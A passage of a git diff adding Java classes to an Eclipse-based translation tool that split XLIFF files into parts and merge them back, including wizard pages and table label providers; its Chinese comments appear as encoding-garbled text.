专门用æ¥è§£æžå¤„ç†åˆ†å‰²åŽç”Ÿæˆæ–°æ–‡ä»¶çš„处ç†ç±»å®žä¾‹ */ + private XLFHandler splitHandler; + private SplitOrMergeXlfModel model; + + private static int CONSTANT_ONE = 1; + private Map oldInfo; + /** èŠ‚ç‚¹æ•°æ® */ + private int transUnitNum; + private boolean needCover = false; // 当文件é‡å¤æ—¶å®šä¹‰çš„是å¦åº”覆盖 + /** file节点的信æ¯ï¼Œç¬¬ä¸€ä¸ªå€¼ä¸ºfile节点的åºåˆ—,从1开始,第二个值为该file节点下trans-unit的个数 */ + private Map fileInfo; + private String separator = ""; + /** 总字数 */ + private int sumTotal; + /** 总等效数 */ + private int sumEquivalent; + + private List repeateFileList = new ArrayList(); + + public SplitXliff(SplitOrMergeXlfModel model) { + this.shell = model.getShell(); + this.splitFile = model.getSplitFile(); + this.splitPointsIndex = model.getSplitXlfPointsIndex(); + this.xlfhandler = model.getXliffEditor().getXLFHandler(); + this.splitPointsRowId = model.getSplitXlfPointsRowId(); + this.model = model; + splitHandler = new XLFHandler(); + + if ("\\".equals(System.getProperty("file.separator"))) { + separator = "\\"; + } else { + separator = "/"; + } + } + + /** + * 切割Xliff文件 注æ„:æºæ–‡æœ¬æ²¡æœ‰è§£æžï¼Œå› ä¸ºxlfhandler是从xlfeditorå–过æ¥çš„,因此ä¸ç”¨å†è§£æžä¸€æ¬¡ã€‚ + */ + public boolean splitTheXliff(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("splitAndMergeXliff.SplitXliff.task1"), splitPointsIndex.size()); + String xlfPath = splitFile.getLocation().toOSString(); + + if (xlfPath != null) { + File f = new File(xlfPath); + // 如果文件ä¸å­˜åœ¨ï¼Œæ示并退出æ“作 + if (!f.exists()) { + f = null; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("splitAndMergeXliff.SplitXliff.msgTitle1"), MessageFormat.format(Messages + .getString("splitAndMergeXliff.SplitXliff.msg1"), new Object[] { splitFile + .getFullPath().toOSString() })); + } + }); + return false; + } else { + + Map newInfo = null; + + File src = new File(xlfPath); + String fileName = null; + String splitXliffName = null; + try { + splitXliffName = src.getName(); + fileName = new String(splitXliffName.getBytes("UTF-8"));// æºæ–‡ä»¶çš„文件å + + } catch (UnsupportedEncodingException e1) { + LOGGER.error("", e1); + e1.printStackTrace(); + } + + // 判断分割åŽç”Ÿæˆçš„å­æ–‡ä»¶æ˜¯å¦é‡å¤ï¼Œå¦‚æžœé‡å¤å°±è¿›è¡Œæ示 + String copyFiles = ""; + LinkedList newSplitedFilesName = model.getNewSplitedFilesName(); + for (int i = 0; i < newSplitedFilesName.size(); i++) { + final String newXlfPath = model.getSplitXlfsContainer().getLocation() + .append(newSplitedFilesName.get(i)).toOSString(); + File newXlfFile = new File(newXlfPath); + if (newXlfFile.exists()) { + copyFiles += getFullPath(newXlfPath) + "\n"; + repeateFileList.add(ResourceUtils.fileToIFile(newXlfPath)); + } + } + final String copyFilesTip = copyFiles.substring(0, copyFiles.length()); + // 如果新生æˆçš„文件已ç»å­˜åœ¨ï¼Œé‚£ä¹ˆæ示是å¦è¦†ç›– + if (copyFiles.length() > 0) { + try { + Display.getDefault().syncExec(new Runnable() { + public void run() { + boolean response = MessageDialog.openConfirm(shell, Messages + .getString("splitAndMergeXliff.SplitXliff.msgTitle2"), MessageFormat.format( + Messages.getString("splitAndMergeXliff.SplitXliff.msg2"), + new Object[] { copyFilesTip })); + if (!response) { + needCover = true; + } + } + }); + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + + if (needCover) { + return false; + } + } + + // 先删除é‡å¤çš„文件,å†å…³é—­å·²ç»æ‰“开的é‡å¤æ–‡ä»¶çš„编辑器 + Display.getDefault().syncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + try { + IEditorReference[] refrences = window.getActivePage().getEditorReferences(); + for(IEditorReference refrence : refrences){ + if (refrence.getEditor(true).getEditorSite().getId().equals(NATABLE_ID)) { + XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable)refrence.getEditor(true); + if (nattable.isMultiFile()) { + for (File file : nattable.getMultiFileList()) { + if (repeateFileList.indexOf(ResourceUtils.fileToIFile(file.getAbsolutePath())) >= 0) { + window.getActivePage().closeEditor(nattable, true); + break; + } + } + }else { + if (repeateFileList.indexOf(((FileEditorInput)nattable.getEditorInput()).getFile()) >= 0) { + window.getActivePage().closeEditor(nattable, true); + } + } + } + } + for (IFile iFile : repeateFileList) { + ResourceUtil.getFile(iFile).delete(true, null); + } + model.getSplitFile().getProject().refreshLocal(IResource.DEPTH_INFINITE, null); + } catch (Exception e) { + LOGGER.error("", e); + } + } + }); + + // 得到当å‰çš„时间, 开始进行循环切割 + long splitTime = System.currentTimeMillis(); + + for (int i = CONSTANT_ONE, pointsSize = (splitPointsIndex.size() + 1); i <= pointsSize; i++) { + newInfo = getNewSplitInfo(fileName, oldInfo, i, pointsSize, splitTime); + monitor.subTask(Messages.getString("splitAndMergeXliff.SplitXliff.task2") + newInfo.get("name")); + + // 创建新的XLIFF的文件路径 + final String newXlfPath = model.getSplitXlfsContainer().getLocation() + .append(getSplitFileName(splitXliffName, oldInfo, i)).toOSString(); + + String xliffNodeHeader = xlfhandler.getNodeHeader(xlfPath, "xliff", "/xliff"); + createNewSplitXliff(newXlfPath, xliffNodeHeader); + + // 打开这个新创建的xliff文件,将xliff与file,header等节点写入进去 + Map newResultMap = splitHandler.openFile(newXlfPath); + if (newResultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(Constant.RETURNVALUE_RESULT)) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, + Messages.getString("splitAndMergeXliff.SplitXliff.msgTitle3"), + Messages.getString("splitAndMergeXliff.SplitXliff.msg3")); + } + }); + return false; + } + + if (fileInfo == null) { + fileInfo = xlfhandler.getFileInfo(xlfPath); + } + + // 获å–当å‰åˆ†å‰²æ®µçš„首末rowId + String startRowId = xlfhandler.getNextRowId(xlfPath, + i == CONSTANT_ONE ? "start" : splitPointsRowId.get(i - 2)); + String endRowId = (i == pointsSize) ? xlfhandler.getNextRowId(xlfPath, "end") : splitPointsRowId + .get(i - CONSTANT_ONE); // 因为这里的I是从1开始的,故è¦å‡1 + + // 获å–分割段的file,与body第一å­èŠ‚点的åºåˆ— + Map startNodeIdxMap = xlfhandler.getSplitNodeIdx(xlfPath, + i == CONSTANT_ONE ? "start" : splitPointsRowId.get(i - 2)); + Map endNodeIdxMap = (i == pointsSize) ? xlfhandler.getSplitNodeIdx(xlfPath, "end") + : xlfhandler.getSplitNodeIdx(xlfPath, splitPointsRowId.get(i - CONSTANT_ONE)); + // 获å–当å‰èµ·å§‹rowId所在的file节点的åºåˆ—å· + int startFileNodeIdx = startNodeIdxMap.get("fileNodeIdx"); + int endFileNodeIdx = endNodeIdxMap.get("fileNodeIdx"); + int startBodyChildIdx = startNodeIdxMap.get("bodyChildNodeIdx"); + + // 开始循环æ¯ä¸€ä¸ªfile节点,进行获å–ç›¸å…³æ•°æ® + int n = 1; // 这是新生æˆçš„xliff文件中的fileçš„åºåˆ—å· + for (int fileIdx = startFileNodeIdx; fileIdx <= endFileNodeIdx; fileIdx++) { + // 开始将数æ®å­˜å…¥æ–°åˆ‡å‰²çš„xliff文件中,先存放file节点的头 + String fileNodeHeader = xlfhandler.getNodeHeader(xlfPath, "file", "/xliff/file[" + fileIdx + + "]"); + splitHandler.addDataToXlf(newXlfPath, fileNodeHeader, "/xliff"); + + String headerFrag = xlfhandler.getNodeFrag(xlfPath, "/xliff/file[" + fileIdx + "]/header"); + splitHandler.addDataToXlf(newXlfPath, headerFrag, "/xliff/file[" + n + "]"); + + // å‘新生æˆxliff文件添加body元素 + String bodyNodeHeader = xlfhandler.getNodeHeader(xlfPath, "body", "/xliff/file[" + fileIdx + + "]/body"); + splitHandler.addDataToXlf(newXlfPath, bodyNodeHeader, "/xliff/file[" + n + "]"); + boolean isLastOfFile = false; + if (i == pointsSize && fileIdx == endFileNodeIdx) { + isLastOfFile = true; + } + // UNDO 分割这里还è¦å¥½å‘测试一下,针对ä¸åŒæƒ…况。 + String tuData = xlfhandler.getSplitTuData(xlfPath, fileIdx, n == 1 ? startBodyChildIdx : 1, + n == 1 ? startRowId : null, endRowId, n == 1, isLastOfFile); + splitHandler.addDataToXlf(newXlfPath, tuData, "/xliff/file[" + n + "]/body"); + n++; + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("splitAndMergeXliff.SplitXliff.msg3")); + } + monitor.worked(1); + // æ·»åŠ æ–°çš„åˆ‡å‰²ä¿¡æ¯ + splitHandler.addNewInfoToSplitXlf(newXlfPath, newInfo); + } + monitor.done(); + } + } + return true; + + } + + /** + * 验è¯æ–‡ä»¶æ˜¯å¦ä¸ºxliff文件 + * @return + */ + public boolean validXLiff() { + String xlfPath = splitFile.getLocation().toOSString(); + // 若其file元素个数å°äºŽ1,或者其根元素ä¸ä¸º"xliff",那么就这个ä¸æ˜¯XLIFF文档 + if (!xlfhandler.validateSplitXlf(xlfPath) || xlfhandler.getFileCountInXliff(xlfPath) < 1) { + return false; + } + return true; + } + + /** + * 获å–分割文件å + * @param fileName + * @param oldInfo + * @param index + * @return ; + */ + public String getSplitFileName(String fileName, Map oldInfo, int index) { + String fileExtesion = fileName.substring(fileName.lastIndexOf("."), fileName.length()); + if (oldInfo == null || oldInfo.size() <= 0) { + return fileName.substring(0, fileName.lastIndexOf(fileExtesion)) + "_" + index + fileExtesion; // 生æˆè¿™ç§å½¢å¼:name="test.txt_1.xlf" + } else { + String name = oldInfo.get("name"); + return name.substring(0, name.lastIndexOf(fileExtesion)) + "_" + index + fileExtesion; // 生æˆè¿™ç§å½¢å¼:name="test.txt_2_1.xlf" + } + } + + /** + * 生æˆæ–°çš„åˆ‡å‰²ä¿¡æ¯ + * @param fileName + * 文件å + * @param oldInfo + * 该文件以å‰çš„åˆ†å‰²ä¿¡æ¯ + * @param index + * åºå· + * @param pointsSize + * 分割的段数 + * @param splitTime + * 此次分割的时间 + * @return + */ + public Map getNewSplitInfo(String fileName, Map oldInfo, int index, int pointsSize, + long splitTime) { + Map newInfoMap = new HashMap(); + String fileExtension = fileName.substring(fileName.lastIndexOf("."), fileName.length()); + // 第一次分割 + if (oldInfo == null || oldInfo.size() <= 0) { + String id = fileName.substring(fileName.lastIndexOf(separator) + 1) + "-" + index + "/" + pointsSize; // 生æˆè¿™ç§å½¢å¼:id="test.txt.xlf-1/2" + String name = fileName.substring(0, fileName.lastIndexOf(fileExtension)) + "_" + index + fileExtension; // 生æˆè¿™ç§å½¢å¼:name="test.txt_1.xlf" + newInfoMap.put("id", id); + newInfoMap.put("name", name); + newInfoMap.put("depth", "1"); + } else { + String id = oldInfo.get("id"); + String name = oldInfo.get("name"); + String depth = oldInfo.get("depth"); + id += "~" + index + "/" + pointsSize; // 生æˆè¿™ç§å½¢å¼:id="test.txt.xlf-1/2~1/2" + name = name.substring(0, name.lastIndexOf(fileExtension)) + "_" + index + fileExtension; // 生æˆè¿™ç§å½¢å¼:name="test.txt_2_1.xlf" + newInfoMap.put("id", id); + newInfoMap.put("name", name); + newInfoMap.put("depth", "" + (Integer.parseInt(depth) + 1)); + } + + newInfoMap.put("index", "" + index); + newInfoMap.put("count", "" + pointsSize); + newInfoMap.put("splitTime", "" + splitTime); + newInfoMap.put("original", fileName); + + return newInfoMap; + } + + /** + * 创建新的切割åŽçš„文件, 并添加xliff节点 + * @param xlfPath + * 切割文件的路径 + * @param newSliptXlfPath + * æ–°çš„xliff文件的路径 + */ + public void createNewSplitXliff(String newSliptXlfPath, String xliffNodeHeader) { + FileOutputStream output; + try { + output = new FileOutputStream(newSliptXlfPath); + output.write("\n".getBytes("UTF-8")); + output.write(xliffNodeHeader.getBytes("UTF-8")); + output.close(); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (IOException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + + /** + * 针对æ¯ä¸ªåˆ‡å‰²æ®µï¼ŒèŽ·å–该段内的file节点信æ¯ï¼Œ + * @param startIndex + * @param endIndex + * @param fileInfo + * @return result{0,0} 第一个数æ®ï¼Œæ˜¯è¯¥åˆ‡å‰²æ®µå†…的第一个fileçš„åºåˆ—å·ï¼ˆæ˜¯ä»Ž1开始的), 第二个数æ®æ˜¯åˆ‡å‰²æ®µå†…的的最åŽä¸€ä¸ªfileçš„åºåˆ—å·(是从1开始) + */ + public int[] getFileSpliteIndex(int startIndex, int endIndex, Map fileInfo) { + int[] result = new int[] { 0, 0 }; + Iterator it = fileInfo.keySet().iterator(); + int count = 0; + while (it.hasNext()) { + Integer key = it.next(); + Integer value = fileInfo.get(key); + count += value; + + if (result[0] == 0 && startIndex <= count) { + result[0] = key; + } + + if (result[1] == 0 && endIndex <= count) { + result[1] = key; + } + + if (result[0] != 0 && result[1] != 0) { + return result; + } + } + return result; + + } + + /** + * 获å–当å‰file节点之å‰çš„所有file节点的trans-unit节点之和 + * @param fileIndex + * 当å‰èŠ‚点的åºåˆ—å·ï¼ˆä»Ž1开始) + * @param infoMap + * @return + */ + public int getPurFileTUCount(int fileIndex, Map fileInfo) { + int purFileTUCount = 0; + for (int i = 1; i < fileIndex; i++) { + purFileTUCount += fileInfo.get(i); + } + + return purFileTUCount; + } + + /** + * æ ¹æ®ç»å¯¹è·¯å¾„获å–其项目路径 + * @param filePath + * @return + */ + public String getFullPath(String filePath) { + IWorkspace workspace = ResourcesPlugin.getWorkspace(); + IPath location = Path.fromOSString(filePath); + IFile ifile = workspace.getRoot().getFileForLocation(location); + return ifile.getFullPath().toOSString(); + + } + + /** + * 获å–切割åŽçš„文件å + * @param fileName + * @param oldInfo + * @param index + * @param pointsSize + * @return + */ + public String getNewSplitName(String fileName, Map oldInfo, int index) { + String newSplitName = ""; + String fileExtention = fileName.substring(fileName.lastIndexOf("."), fileName.length()); + // 第一次分割 + if (oldInfo == null || oldInfo.size() <= 0) { + newSplitName = fileName.substring(0, fileName.lastIndexOf(fileExtention)) + "_" + index + fileExtention; // 生æˆè¿™ç§å½¢å¼:name="test.txt_1.xlf" + } else { + String name = oldInfo.get("name"); + newSplitName = name.substring(0, name.lastIndexOf(fileExtention)) + "_" + index + fileExtention; // 生æˆè¿™ç§å½¢å¼:name="test.txt_2_1.xlf" + } + return newSplitName; + + } + + /** + * 获å–当å‰åˆ†å‰²ç‚¹çš„起始段 splitPoints是从1开始的 + * @param splitPointIndex + * @return + */ + public int getStartIndex(int splitPointIndex) { + return (splitPointIndex == 1 ? 1 : splitPointsIndex.get(splitPointIndex - 2) + 1); // 由于splitPoints中是以0开始的,故在此需è¦åŠ 1,endIndexåŒç† + } + + /** + * 获å–当å‰åˆ†å‰²ç‚¹çš„终止段 + * @param splitPointIndex + * @return + */ + public int getEndIndex(int splitPointIndex) { + // splitPointIndex的起始游标为0,现从1开始,最大游标等于splitPoints.size() + 1 + return (splitPointIndex == splitPointsIndex.size() + 1 ? transUnitNum : splitPointsIndex + .get(splitPointIndex - 1)); + } + + // **************************下é¢æ˜¯ç­‰æ•ˆç³»ç»Ÿä¸Žæ€»å­—数的相关代ç ************************** + + /** + * 获å–æ–‡ä»¶åˆ—è¡¨ä¸­æ‰€å±•ç¤ºçš„æ•°æ® + */ + public String[][] getSplitTableInfos() { + ArrayList SplitTableInfos = new ArrayList(); + String xlfPath = splitFile.getLocation().toOSString(); + oldInfo = xlfhandler.getOldSplitInfo(xlfPath); + File src = new File(xlfPath); + String fileName = src.getName(); // æºæ–‡ä»¶çš„文件å + transUnitNum = xlfhandler.getAllTransUnitNum(xlfPath); // trans-unit节点总数 + + for (int pointIndex = CONSTANT_ONE, pointsSize = (splitPointsIndex.size() + 1); pointIndex <= pointsSize; pointIndex++) { + String newSplitXlfName = getNewSplitName(fileName, oldInfo, pointIndex); + // 将这些分割åŽçš„å­æ–‡ä»¶å添加到model中,以便åŽç”¨ + model.getNewSplitedFilesName().add(newSplitXlfName); + String paragraph = getStartIndex(pointIndex) + " -> " + getEndIndex(pointIndex); + String[] tableInfo = new String[] { "" + pointIndex, newSplitXlfName, paragraph }; + SplitTableInfos.add(tableInfo); + + sumTotal += 0; + sumEquivalent += 0; + } + + return SplitTableInfos.toArray(new String[][] {}); + } + + public int getSumTotal() { + return sumTotal; + } + + public int getSumEquivalent() { + return sumEquivalent; + } + +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/TableViewerLabelProvider.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/TableViewerLabelProvider.java new file mode 100644 index 0000000..19ca3cb --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/TableViewerLabelProvider.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.ts.handlexlf.split; + +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.swt.graphics.Image; + +public class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider{ + + public Image getColumnImage(Object element, int columnIndex) { + // TODO Auto-generated method stub + return null; + } + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + + + +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/MergeXliffWizard.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/MergeXliffWizard.java new file mode 100644 index 0000000..967d0a5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/MergeXliffWizard.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.ts.handlexlf.wizard; + +import java.lang.reflect.InvocationTargetException; +import java.util.Vector; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.handlexlf.Activator; +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.handlexlf.split.MergeXliff; +import net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class MergeXliffWizard extends Wizard{ + + private static final Logger LOGGER = LoggerFactory.getLogger(MergeXliffWizard.class); + + private SplitOrMergeXlfModel model; + MergeXliff mergeXliff; + private MergeXliffWizardPage mergeXliffWizardPage; + private boolean canFinish = false; + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + + public MergeXliffWizard(SplitOrMergeXlfModel model){ + this.model = model; + mergeXliff = new MergeXliff(model); + mergeXliffWizardPage = new MergeXliffWizardPage("merge xliff", model); + } + + @Override + public boolean performFinish() { + final IRunnableWithProgress mergeProgress = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) { + Vector mergeXlfPaths = new Vector(); + for (int i = 0; i < model.getMergeXliffFile().size(); i++) { + mergeXlfPaths.add(model.getMergeXliffFile().get(i).getLocation().toOSString()); + } + canFinish = mergeXliff.merge(mergeXlfPaths, monitor); + } + }; + + try { + getContainer().run(true, true, mergeProgress); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + if (canFinish) { + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + FileEditorInput input = new FileEditorInput(ResourceUtils.fileToIFile(mergeXliff.getTargetFilePath())); + try { + page.openEditor(input, XLIFF_EDITOR_ID); + } catch (PartInitException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + return canFinish; + } + + public boolean canFinish(){ + return super.canFinish(); + } + + @Override + public void addPages() { + setWindowTitle(Messages.getString("wizard.MergeXliffWizard.windowTitle")); + setDefaultPageImageDescriptor(Activator.getImageDescriptor("images/2.PNG")); + addPage(mergeXliffWizardPage); + setNeedsProgressMonitor(true); + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/MergeXliffWizardPage.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/MergeXliffWizardPage.java new file mode 100644 index 0000000..95ca30d --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/MergeXliffWizardPage.java @@ -0,0 +1,316 @@ +package net.heartsome.cat.ts.handlexlf.wizard; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog; +import net.heartsome.cat.ts.handlexlf.Activator; +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel; +import net.heartsome.cat.ts.handlexlf.split.TableViewerLabelProvider; + +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.internal.filesystem.local.LocalFile; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerFilter; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * åˆå¹¶xliff文件的å‘å¯¼é¡µé¢ + * @author robert + */ +@SuppressWarnings("restriction") +public class MergeXliffWizardPage extends WizardPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(MergeXliffWizardPage.class); + + /** 显示è¦åˆå¹¶çš„xliff文件 */ + private TableViewer tableViewer; + private SplitOrMergeXlfModel model; + private IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + private List exsistFileList = new LinkedList(); + /** 项目路径 */ + private String projectPath = null; + + protected MergeXliffWizardPage(String pageName, SplitOrMergeXlfModel model) { + super(pageName); + this.model = model; + } + + public void createControl(Composite parent) { + setTitle(Messages.getString("wizard.MergeXliffWizardPage.title")); + setMessage(Messages.getString("wizard.MergeXliffWizardPage.desc")); + Composite tparent = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + tparent.setLayout(layout); + + GridDataFactory.fillDefaults().hint(600, 500).grab(true, true).applyTo(tparent); + + createMergeXlfGroup(tparent); + setImageDescriptor(Activator.getImageDescriptor("images/file/file-merge-logo.png")); + + setControl(parent); + + } + + public void createMergeXlfGroup(Composite tparent) { + final Group xliffDataGroup = new Group(tparent, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(2).margins(8, 8).applyTo(xliffDataGroup); + GridDataFactory.fillDefaults().grab(true, true).applyTo(xliffDataGroup); + xliffDataGroup.setText(Messages.getString("wizard.MergeXliffWizardPage.xliffDataGroup")); + + tableViewer = new TableViewer(xliffDataGroup, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] columnNames = new String[] { Messages.getString("wizard.MergeXliffWizardPage.columnNames1"), + Messages.getString("wizard.MergeXliffWizardPage.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(getSplitTableInfos()); + validXlf(); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.15, 0.75 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + Composite buttonComp = new Composite(xliffDataGroup, SWT.None); + GridLayoutFactory.fillDefaults().numColumns(1).margins(8, 8).applyTo(buttonComp); + GridDataFactory.fillDefaults().grab(false, true).hint(100, SWT.DEFAULT).applyTo(buttonComp); + + Button addbutton = new Button(buttonComp, SWT.NONE); + addbutton.setText(Messages.getString("wizard.MergeXliffWizardPage.addbutton")); + addbutton.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + addbutton.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileFolderSelectionDialog dialog = new FileFolderSelectionDialog(xliffDataGroup.getShell(), true, + IResource.FILE); + dialog.setMessage(Messages.getString("wizard.MergeXliffWizardPage.dialogMsg")); + dialog.setTitle(Messages.getString("wizard.MergeXliffWizardPage.dialogTitle")); + dialog.setDoubleClickSelects(true); + try { + dialog.setInput(EFS.getStore(root.getLocationURI())); + } catch (CoreException e1) { + LOGGER.error("", e1); + e1.printStackTrace(); + } + + dialog.addFilter(new ViewerFilter() { + @Override + public boolean select(Viewer viewer, Object parentElement, Object element) { + if (element instanceof LocalFile) { + LocalFile folder = (LocalFile) element; + if (folder.getName().equalsIgnoreCase(".hsConfig") + || folder.getName().equalsIgnoreCase(".metadata") + || folder.getName().equalsIgnoreCase(".config") + || folder.getName().equalsIgnoreCase(".nonTransElement")) { + return false; + } + if (projectPath.equals(folder.toString())) { + return true; + } + String xliffFolderPath = folder.toString(); + String tempPath = projectPath + System.getProperty("file.separator") + ".TEMP"; + String configPath = projectPath + System.getProperty("file.separator") + ".config"; + String projectFilePath = projectPath + System.getProperty("file.separator") + ".project"; + if (xliffFolderPath.startsWith(tempPath) || xliffFolderPath.startsWith(configPath) + || xliffFolderPath.startsWith(projectFilePath)) { + return false; + } else if (xliffFolderPath.startsWith(projectPath)) { + return xliffFolderPath.substring(projectPath.length()).startsWith( + System.getProperty("file.separator")); + } + } + return false; + } + }); + dialog.create(); + dialog.open(); + if (dialog.getResult() != null) { + Object[] selectFiles = dialog.getResult(); + + XLFValidator.resetFlag(); + for (int i = 0; i < selectFiles.length; i++) { + IFile iFile = root.getFileForLocation(Path.fromOSString(selectFiles[i].toString())); + if (XLFValidator.validateXliffFile(iFile)) { + // 如果该文件已ç»å­˜åœ¨äºŽåˆ—表中,就å‘添加到é‡å¤é›†åˆä¸­ + if (model.getMergeXliffFile().indexOf(iFile) >= 0) { + exsistFileList.add(iFile); + } + model.getMergeXliffFile().add(iFile); + } + } + XLFValidator.resetFlag(); + tableViewer.setInput(getSplitTableInfos()); + if (!validIsRepeate()) { + validXlf(); + } + +// for (int i = 0; i < selectFiles.length; i++) { +// IFile file = root.getFileForLocation(Path.fromOSString(selectFiles[i].toString())); +// // 如果该文件已ç»å­˜åœ¨äºŽåˆ—表中,就å‘添加到é‡å¤é›†åˆä¸­ +// if (model.getMergeXliffFile().indexOf(file) >= 0) { +// exsistFileList.add(file); +// } +// model.getMergeXliffFile().add(file); +// } +// tableViewer.setInput(getSplitTableInfos()); +// if (!validIsRepeate()) { +// validXlf(); +// } + } + } + }); + + Button deleteButton = new Button(buttonComp, SWT.NONE); + deleteButton.setText(Messages.getString("wizard.MergeXliffWizardPage.deleteButton")); + deleteButton.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + deleteButton.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + Table table = tableViewer.getTable(); + if (selection != null && !selection.isEmpty()) { + int[] indices = table.getSelectionIndices(); + for (int index : indices) { + String fileFullPath = table.getItem(index).getText(1); + for (int i = 0; i < model.getMergeXliffFile().size(); i++) { + if (model.getMergeXliffFile().get(i).getFullPath().toOSString().equals(fileFullPath)) { + model.getMergeXliffFile().remove(i); + break; + } + } + + // 如果该文件存在于é‡å¤é›†åˆä¸­ï¼Œåˆ™ä»Žè¯¥é›†åˆä¸­åˆ é™¤ + for (int j = 0; j < exsistFileList.size(); j++) { + if (exsistFileList.get(j).getFullPath().toOSString().equals(fileFullPath)) { + 